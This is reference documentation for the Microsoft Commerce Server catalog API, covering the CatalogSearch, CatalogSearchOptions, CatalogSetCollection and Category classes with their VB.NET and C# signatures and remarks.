[C#]
public System.String CatalogName {get;}

Property Value

A System.String that contains the name of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Class (BCL)

Use this class to perform searches against product, variant, and category data in one or more catalogs.

Public Instance Constructor

Constructor | Description
CatalogSearch Constructor | Creates a new instance of the CatalogSearch class.
CatalogSearch Constructor(CatalogContext) | Creates a new instance of the CatalogSearch class using the given CatalogContext parameter.

Public Instance Methods

Method | Description
Search(Int32) | Performs a search with the current properties and returns a limited number of records.
Search | Performs a search with the current properties.

Public Instance Properties

Property | Description
CatalogContext | Contains the CatalogContext object used for the search.
CatalogNames | Contains the catalog names used for the search.
CatalogNamesCollection | Contains a ReadOnlyCollection object containing catalog names used for the search.
CategoryName | Contains the category name used for the search.
FreeTextSearchPhrase | Contains the free-text search phrase used for the search.
Language | Contains the language used for the search.
Recursive | Indicates whether the search will be recursive.
SearchOptions | Contains the search options used for the search.
SQLWhereClause | Contains the SQL Where clause used for the search.

Remarks

A CatalogSearch object can be used to perform different kinds of searches on different catalog entities such as:

  • Search across multiple catalogs
  • Search within a single catalog
  • Search within a category in a catalog

It can also be used to perform various types of searches such as:

  • Property search
  • Free-text search
  • Both property and free-text search

The different properties of the CatalogSearch object can be used to control the search domain, the type of search, language, sorting, paging, classTypes, and so forth.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogSearch Constructor | Creates a new instance of the CatalogSearch class.
CatalogSearch Constructor(CatalogContext) | Creates a new instance of the CatalogSearch class using the given CatalogContext parameter.


CatalogSearch Constructor (BCL)

Use this method to create a new instance of the CatalogSearch class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogSearch(
);

Remarks

Constructs a CatalogSearch object using the CommerceContext.Current.CatalogSystem object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Constructor (CatalogContext) (BCL)

Use this method to create a new instance of the CatalogSearch class using the specified CatalogContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogContext As CatalogContext _
)
[C#]
public CatalogSearch(
  CatalogContext catalogContext
);

Parameters

[Visual Basic .NET]
catalogContext
The CatalogContext object for the search.
[C#]
catalogContext
The CatalogContext object for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Methods (BCL)

Public Instance Methods

Method | Description
Search(Int32) | Performs a search with the current properties that returns a limited number of records.
Search | Performs a search with the current properties.


CatalogSearch.Search Method (BCL)

Use this method to perform a search with the current properties.

[Visual Basic .NET]
Overridable Public Function Search( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet Search(
);

Return Value

A DataSet containing a single DataTable with the search results.

Remarks

Throws an ArgumentNullException if the CatalogContext property is null.

Throws a CatalogException on failure.

If the CatalogNames property is not specified, then all catalogs in the Product Catalog System are searched.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.Search (Int32) Method (BCL)

Use this constructor to perform a search with the current properties that returns a limited number of records.

Definition

[Visual Basic .NET]
Overridable Public Function Search( _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet Search(
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
totalRecords
The total number of records to return.
[C#]
totalRecords
The total number of records to return.

Return Value

A DataSet containing a single DataTable with the search results

Remarks

Throws an ArgumentNullException if the CatalogContext property is null.

Throws an ArgumentNullException if the CatalogNames property is null.

Throws an ArgumentNullException if both the SQLWhereClause and FreeTextSearchPhrase property are null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch Properties (BCL)

Public Instance Properties

Property | Description
CatalogContext | Contains the CatalogContext object used for the search.
CatalogNames | Contains the catalog names used for the search.
CatalogNamesCollection | Contains a ReadOnlyCollection object of catalog names used for the search.
CategoryName | Contains the category name used for the search.
FreeTextSearchPhrase | Contains the free-text search phrase used for the search.
Language | Contains the language used for the search.
Recursive | Indicates whether the search will be recursive.
SearchOptions | Contains the search options used for the search.
SQLWhereClause | Contains the SQL Where clause used for the search.


CatalogSearch.CatalogContext Property (BCL)

The CatalogContext property contains the CatalogContext object used for the search.

Definition

[Visual Basic .NET]
Public Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get; set;}

Property Value

The CatalogContext object used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.CatalogNames Property (BCL)

The CatalogNames property contains the catalog names used for the search.

Definition

[Visual Basic .NET]
Public Property CatalogNames As System.String
[C#]
public System.String CatalogNames {get; set;}

Property Value

A System.String object containing a comma-delimited list of the catalog names used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.CatalogNamesCollection Property (BCL)

The CatalogNamesCollection property contains a ReadOnlyCollection of catalog names used for the search.

Definition

[Visual Basic .NET]
Public Property CatalogNamesCollection As ReadOnlyStringCollection
[C#]
public ReadOnlyStringCollection CatalogNamesCollection {get; set;}

Property Value

A ReadOnlyStringCollection of catalog names used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.CategoryName Property (BCL)

The CategoryName property contains the category name used for the search.

Definition

[Visual Basic .NET]
Public Property CategoryName As System.String
[C#]
public System.String CategoryName {get; set;}

Property Value

A System.String that contains the category name used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.FreeTextSearchPhrase Property (BCL)

The FreeTextSearchPhrase property contains the free-text search phrase used for the search.

Definition

[Visual Basic .NET]
Public Property FreeTextSearchPhrase As System.String
[C#]
public System.String FreeTextSearchPhrase {get; set;}

Property Value

A System.String that contains the free-text search phrase used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.Language Property (BCL)

The Language property contains the language used for the search.

Definition

[Visual Basic .NET]
Public Property Language As System.String
[C#]
public System.String Language {get; set;}

Property Value

A System.String that contains the language used for the search.

Remarks

If not specified for a single/multiple catalog search, this defaults to the CultureInfo.CurrentUICulture object. If not specified for a category search, this defaults to either the CultureInfo.CurrentUICulture object (if the catalog supports it) OR to the default language of the ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.Recursive Property (BCL)

The Recursive property indicates whether the search will be recursive.

Definition

[Visual Basic .NET]
Public Property Recursive As System.Boolean
[C#]
public System.Boolean Recursive {get; set;}

Property Value

A System.Boolean that indicates whether the search will be recursive.

Remarks

This property only applies to a category search.

A value of True indicates that the search will be recursive.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.SearchOptions Property (BCL)

The SearchOptions property contains the search options used for the search.

Definition

[Visual Basic .NET]
Public Property SearchOptions As CatalogSearchOptions
[C#]
public CatalogSearchOptions SearchOptions {get; set;}

Property Value

A SearchOptions object that contains the search options.

Remarks

The .NET Base Class Library allows you to specify the search options for most of the methods returning Datasets or ReadOnlyCollections, but not all the methods support all parameters. The following table describes which method supports which parameter.

CatalogContext Object

MethodName | StartRecord | RecordsToRetrieve | PropertiesToReturn | ClassType | SortProperty | SortOrder
GetCatalogs | Yes | Yes | No | No | No | No

ProductCatalog Object

MethodName | StartRecord | RecordsToRetrieve | PropertiesToReturn | ClassType | SortProperty | SortOrder
GetRootCategories | Yes | Yes | Yes | Only Categories are returned | Yes | Yes
GetRootProducts | Yes | Yes | Yes | Only Products and families are returned | Yes | Yes
PerformSpecificationSearch | No | Yes | Yes | Yes | No | No
GuaranteedSpecificationSearch | No | Yes | Yes | Yes | No | No

Product Object

MethodName | StartRecord | RecordsToRetrieve | PropertiesToReturn | ClassType | SortProperty | SortOrder
GetVariants | No | No | No | No | Yes | No

Category Object

MethodName | StartRecord | RecordsToRetrieve | PropertiesToReturn | ClassType | SortProperty | SortOrder
Search | Yes | Yes | Yes | Yes | Yes | Yes
GetProducts | Yes | Yes | Yes | Only Products and families are returned | Yes | Yes
GetChildCategories | Yes | Yes | Yes | Only Categories are returned | Yes | Yes

CatalogSearch Object

MethodName | StartRecord | RecordsToRetrieve | PropertiesToReturn | ClassType | SortProperty | SortOrder
Search | Yes | Yes | Yes | Yes | Yes | Yes

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearch.SQLWhereClause Property (BCL)

The SQLWhereClause property contains the SQL Where clause used for the search.

Definition

[Visual Basic .NET]
Public Property SQLWhereClause As System.String
[C#]
public System.String SQLWhereClause {get; set;}

Property Value

A System.String that contains the SQL Where clause used for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Class (BCL)

A CatalogSearchOptions object can be provided to catalog methods that perform a database search to specify which records to return, how to sort the result set, and so on. Note that not all methods respect all of the settings. When the site is run in Debug mode or Checked mode, a warning message will be logged to the active DebugContext object whenever a setting has been made that cannot be respected.

Public Instance Constructor

Constructor | Description
CatalogSearchOptions Constructor | Creates a new instance of the CatalogSearchOptions class.
CatalogSearchOptions Constructor(CatalogSearchOptions) | Creates a new instance of the CatalogSearchOptions class with the data in the searchOptions parameter.

Public Instance Methods

Method | Description
SetPaging(Int32, Int32) | Sets the StartingRecord and RecordsToRetrieve properties based on the supplied page number and page size.

Public Instance Properties

Property | Description
CacheKey | Gets a cache key string that can be used as a part of a cache key when caching query results.
ClassTypes | Gets or sets a CatalogClassType value that specifies the class type(s) to return from a query.
PropertiesToReturn | Gets or sets the comma-delimited list of property names that should be returned in a query result set.
PropertiesToReturnArray | Gets or sets the array of properties that should be returned in a query result set.
RecordsToRetrieve | Gets or sets the number of records to retrieve.
SortAscending | Gets or sets a Boolean value that specifies whether to sort in ascending or descending order.
SortProperty | Gets the sort property.
StartingRecord | Gets the starting record property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogSearchOptions Constructor | Creates a new instance of the CatalogSearchOptions class.
CatalogSearchOptions Constructor(CatalogSearchOptions) | Creates a new instance of the CatalogSearchOptions class with the data in the searchOptions parameter.


CatalogSearchOptions Constructor (BCL)

Use this method to create a new CatalogSearchOptions class with the default settings.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogSearchOptions(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Constructor (CatalogSearchOptions) (BCL)

Use this method to create a new instance of the CatalogSearchOptions class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal searchOptionsOriginal As CatalogSearchOptions _
)
[C#]
public Microsoft.CommerceServer.Runtime.Catalog.CatalogSearchOptions(
  CatalogSearchOptions searchOptionsOriginal
);

Parameters

[Visual Basic .NET]
searchOptionsOriginal
A CatalogSearchOptions object containing the parameters to be copied into the new CatalogSearchOptions object.
[C#]
searchOptionsOriginal
A CatalogSearchOptions object containing the parameters to be copied into the new CatalogSearchOptions object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Methods (BCL)

Public Instance Methods

Method | Description
SetPaging(Int32, Int32) | Sets the StartingRecord and RecordsToRetrieve properties based on the supplied page number and page size.


CatalogSearchOptions.SetPaging (Int32, Int32) Method (BCL)

Use this method to set the StartingRecord and RecordsToRetrieve properties based on the supplied page number and page size.

Definition

[Visual Basic .NET]
Public Sub SetPaging( _
  ByVal pageNumber As System.Int32, _
  ByVal pageSize As System.Int32 _
)
[C#]
public void SetPaging(
  System.Int32 pageNumber,
  System.Int32 pageSize
);

Parameters

[Visual Basic .NET]
pageNumber
The page number. Must be greater than or equal to one.
pageSize
The page size. Must be greater than or equal to one.
[C#]
pageNumber
The page number. Must be greater than or equal to one.
pageSize
The page size. Must be greater than or equal to one.

Remarks

Throws an ArgumentOutOfRangeException if the supplied parameters are out of the valid range.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions Properties (BCL)

Public Instance Properties

Property |  | Description
CacheKey |  | Gets a cache key string that can be used as a part of a cache key when caching query results.
ClassTypes |  | Gets or sets a CatalogClassType value that specifies the class type(s) to return from a query.
PropertiesToReturn |  | Gets or sets the comma-delimited list of property names that should be returned in a query result set.
PropertiesToReturnArray |  | Gets or sets the array of properties that should be returned in a query result set.
RecordsToRetrieve | Gets or sets the number of records to retrieve.
SortAscending | Gets or sets a Boolean value that specifies whether to sort in ascending or descending order.
SortProperty | Gets the SortProperty property.
StartingRecord | Gets the StartingRecord property.


CatalogSearchOptions.CacheKey Property (BCL)

The CacheKey property is a string that gets a cache key string that can be used as a part of a cache key when caching query results.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CacheKey As System.String
[C#]
public virtual System.String CacheKey {get;}

Property Value

A CacheKey object that represents the current search options.

Remarks

Given the same settings for all properties, it is guaranteed that the cache key will be the same.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.ClassTypes Property (BCL)

The ClassTypes property gets or sets a CatalogClassType value that specifies the class type(s) to return from a query.

Definition

[Visual Basic .NET]
Public Property ClassTypes As CatalogClassTypes
[C#]
public CatalogClassTypes ClassTypes {get; set;}

Property Value

A CatalogClassType object that specifies the class type(s) to return from a query.

Remarks

Some methods have restrictions on the valid values for the ClassTypes property.

The default value is the empty set (0). Class types can be combined by using the logical Or operator. For example:

[C#]
ClassTypes = CatalogClassTypes.ProductFamilyClass | CatalogClassTypes.ProductFamilyForVariantsClass;
[Visual Basic .NET]
ClassTypes = CatalogClassTypes.ProductFamilyClass Or CatalogClassTypes.ProductFamilyForVariantsClass

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.PropertiesToReturn Property (BCL)

The PropertiesToReturn property is a string that gets or sets property names that should be returned in a query result set.

Definition

[Visual Basic .NET]
Public Property PropertiesToReturn As System.String
[C#]
public System.String PropertiesToReturn {get; set;}

Property Value

A String object containing a comma-delimited list of property names.

Remarks

The default value is null, indicating to return all properties.

Example

Use the following code to return a column named UnitPrice that can be bound to a control. The UnitPrice column contains the price per unit of the product, calculated by dividing the cy_list_price by the number of units. If Units is set to zero, the UnitPrice is the same as the cy_list_price. This sample assumes that you have a user-defined property named Units that stores the number of units that are sold for the given cy_list_price price.

[Visual Basic .NET]
Dim searchOptions As New CatalogSearchOptions()
searchOptions.PropertiesToReturn = "(cy_list_price/isnull(nullif(Units,0),1))UnitPrice, PID"
DataSet ds = cat.GetProducts(searchOptions)
[C#]
CatalogSearchOptions searchOptions = new CatalogSearchOptions();
searchOptions.PropertiesToReturn = "(cy_list_price/isnull(nullif(Units,0),1))UnitPrice, PID";
DataSet ds = cat.GetProducts(searchOptions);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.PropertiesToReturnArray Property (BCL)

The PropertiesToReturnArray property is a string that gets or sets the array of properties that should be returned in a query result set.

Definition

[Visual Basic .NET]
Public Property PropertiesToReturnArray As System.String[]
[C#]
public System.String[] PropertiesToReturnArray {get; set;}

Property Value

A String array containing the properties to be returned.

Remarks

The default value is null, indicating to return all properties.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.RecordsToRetrieve Property (BCL)

The RecordsToRetrieve property gets or sets the number of records to retrieve.

Definition

[Visual Basic .NET]
Public Property RecordsToRetrieve As System.Int32
[C#]
public System.Int32 RecordsToRetrieve {get; set;}

Property Value

The number of records to retrieve.

Remarks

The default value is -1, indicating all records.

Throws an ArgumentOutOfRangeException if the supplied value is less than -1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.SortAscending Property (BCL)

The SortAscending property gets or sets a Boolean value that specifies whether to sort in ascending or descending order.

Definition

[Visual Basic .NET]
Public Property SortAscending As Boolean
[C#]
public Boolean SortAscending {get; set;}

Property Value

A Boolean value that specifies whether to sort in ascending or descending order.

Remarks

The default value is true (ascending).

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.SortProperty Property (BCL)

The SortProperty property gets or sets the property name of the property on which to sort results datasets.

Definition

[Visual Basic .NET]
Public Property SortProperty As System.String
[C#]
public System.String SortProperty {get; set;}

Property Value

The name of the property on which to sort results datasets.

Remarks

The default value is null, indicating results will not be sorted.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSearchOptions.StartingRecord Property (BCL)

The StartingRecord property gets the starting record property.

Definition

[Visual Basic .NET]
Public Property StartingRecord As System.Int32
[C#]
public System.Int32 StartingRecord {get; set;}

Property Value

The record number of the first record to return.

Remarks

The default value is 1, indicating to start with the first record.

Throws an ArgumentOutOfRangeException if the supplied value is less than 1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Class (BCL)

The CatalogSetCollection object retrieves information about all the CatalogSets objects in the Commerce Server Product Catalog System and caches it. It provides an enumerator and two indexors that can be used to retrieve the catalog set information.

Public Instance Constructor

Constructor | Description
CatalogSetCollection Constructor(CatalogContext, String) | Creates a new instance of the CatalogSetCollection class with the specified CatalogContext object.

Public Instance Methods

Method | Description
CopyTo(ReadOnlyStringCollection[], Int32) | Copies the CatalogSets objects to an array, starting at a particular array index.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
CatalogContext | Gets the CatalogContext object that was used to create this CatalogSetCollection object.
Count | Returns the count of this collection.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this CatalogSetCollection object.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | String that allows the indexer to access the list of catalogs for a given CatalogSetName value.
Item(Guid) | GUID that allows the indexer to access the list of catalogs by a given CatalogSetId value.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

Protected Instance Methods

Method | Description
InitCatalogSetsData | Gets the CatalogSetID.Catalogs object and CatalogSetName.Catalogs object mapping information.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogSetCollection Constructor(CatalogContext, String) | Creates a new instance of the CatalogSetCollection class with the specified CatalogContext object.


CatalogSetCollection Constructor (CatalogContext, String) (BCL)

Use this method to create a new instance of the CatalogSetCollection class with the specified CatalogContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogContext As CatalogContext, _
  ByVal connectionString As System.String _
)
[C#]
public CatalogSetCollection(
  CatalogContext catalogContext,
  System.String connectionString
);

Parameters

[Visual Basic .NET]
catalogContext
A CatalogContext object. This value may not be null.
connectionString
Defines the connection string to use. This value may not be null.
[C#]
catalogContext
A CatalogContext object. This value may not be null.
connectionString
Defines the connection string to use. This value may not be null.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(ReadOnlyStringCollection[], Int32) | Copies the CatalogSets objects to an array, starting at a particular array index.
GetEnumerator | Retrieves the enumerator on this collection.

Protected Instance Methods

Method | Description
InitCatalogSetsData | Gets the CatalogSetID.Catalogs and CatalogSetName.Catalogs object mapping information.


CatalogSetCollection.CopyTo (ReadOnlyStringCollection[], Int32) Method (BCL)

Use this method to copy the CatalogSets objects to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Public NotOverridable Public Sub CopyTo( _
  ByVal array As ReadOnlyStringCollection[], _
  ByVal index As System.Int32 _
)
[C#]
public sealed void CopyTo(
  ReadOnlyStringCollection[] array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Sets the array where elements are copied.
index
Starting element for the array where elements are copied.
[C#]
array
Sets the array where elements are copied.
index
Starting element for the array where elements are copied.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Handle to an IEnumerator interface implementation for this collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.InitCatalogSetsData Method (BCL)

Use this method to get the CatalogSetID.Catalogs and CatalogSetName.Catalogs object mapping information.

This method retrieves and caches the CatalogSetID To Catalogs mapping information and the CatalogSetName To Catalogs mapping information.

Definition

[Visual Basic .NET]
Protected Sub InitCatalogSetsData( _
)
[C#]
protected void InitCatalogSetsData(
);

Remarks

The CatalogContext object caches this information since it is frequently used in e-commerce sites. To refresh the list, call the Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection Properties (BCL)

Public Instance Properties

Property | Description
CatalogContext | Gets the CatalogContext object that was used to create this CatalogSetCollection object.
Count | Returns the count of this collection.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this CatalogSetCollection object.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | Allows the indexer to access the list of catalogs for a given CatalogSetId name.
Item(Guid) | Allows the indexer to access the list of catalogs for a given CatalogSetId GUID identifier.
SyncRoot | Retrieves the object for synchronizing operations on this collection.


CatalogSetCollection.Count Property (BCL)

The Count property, which is read-only, returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of items contained in the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.CatalogContext Property (BCL)

The CatalogContext property is a read-only String that the CatalogContext object uses to create this CatalogSetCollection object.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

The CatalogContext object that was used to create this CatalogSetCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.DebugContext Property (BCL)

The DebugContext property is a read-only String that the DebugContext object for the CatalogContext object uses to create this CatalogSetCollection object.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object for the CatalogContext object that was used to create this CatalogSetCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only String that indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean value indicating whether the collection supports synchronization.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.Item(String) Property (BCL)

The Item property is a read-only String that allows the indexer to access an item in the ReadOnlyStringCollection collection of catalogs for a given catalogSetName parameter.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Item( _
  ByVal catalogSetName As System.String _
) As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection Item(
  System.String catalogSetName
) {get;}

Parameters

[Visual Basic .NET]
catalogSetName
The name that identifies the catalog set.
[C#]
catalogSetName
The name that identifies the catalog set.

Property Value

A ReadOnlyStringCollection object containing the catalogs in the catalog set.

Remarks

The dictionary containing the CatalogSetName-to-Catalogs mapping is cached. To refresh this information, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.Item(Guid) Property (BCL)

The Item property is a read-only String that allows the indexer to access the ReadOnlyStringCollection collection of catalogs for a given catalogSetID parameter.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Item( _
  ByVal catalogSetId As System.Guid _
) As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection Item(
  System.Guid catalogSetId
) {get;}

Parameters

[Visual Basic .NET]
catalogSetId
The System.Guid GUID that identifies the CatalogSet object.
[C#]
catalogSetId
The System.Guid GUID that identifies the CatalogSet object.

Property Value

A ReadOnlyStringCollection object containing the catalogs in the catalog set.

Remarks

The dictionary containing the CatalogSetName-to-Catalogs mapping is cached. To refresh this information, call CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogSetCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only String that retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

String that retrieves the object for synchronizing operations on this collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category Class (BCL)

Represents a category in a ProductCatalog object.

Protected Instance Constructor

Constructor | Description
Constructor(ProductCatalog, String) | Creates a new instance of the Category class representing a category of the specified ProductCatalog object.

Public Instance Methods

Method | Description
Dispose | Disposes of resources early.
GetCategoryProperties | Returns properties for this category. Both the properties that are present in the definition of this category, and the built-in properties are returned.
GetChildCategories(CatalogSearchOptions, Boolean, Int32) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions, Boolean) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories(CatalogSearchOptions) | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetChildCategories | Gets property data for the immediate child categories of this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean, Int32) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions, Boolean) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts(CatalogSearchOptions) | Gets the properties for the products in this category using the searchOptions parameter to determine how the results are returned.
GetProducts | Gets the properties for the products in this category.
GetRelatedCategories | Gets the category relationships for this category.
